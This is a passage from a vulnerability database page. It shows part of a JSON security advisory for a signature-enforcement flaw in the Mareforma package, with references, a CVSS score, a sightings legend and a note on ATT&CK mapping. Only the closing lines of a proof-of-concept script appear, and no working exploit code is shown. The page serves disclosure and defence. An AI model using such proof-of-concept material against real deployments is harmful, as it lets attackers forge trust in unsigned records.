TRIGGERED] One or more conditions failed.\\n\"\n \" Vulnerability may have been patched or env differs.\"\n )\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-8776-qf3h-26r3",
"modified": "2026-11-19T16:07:36Z",
"published": "2026-11-19T16:07:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mareforma/mareforma/security/advisories/GHSA-8776-qf3h-26r3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71535"
},
{
"type": "WEB",
"url": "https://github.com/mareforma/mareforma/pull/18"
},
{
"type": "WEB",
"url": "https://github.com/mareforma/mareforma/commit/e1bf09e515693a7f2a2a80852b05fa66be44302e"
},
{
"type": "PACKAGE",
"url": "https://github.com/mareforma/mareforma"
},
{
"type": "WEB",
"url": "https://github.com/mareforma/mareforma/releases/tag/v0.3.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mareforma: Unsigned Claims Can Be Promoted to REPLICATED via Missing Signature Enforcement in Convergence Path"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.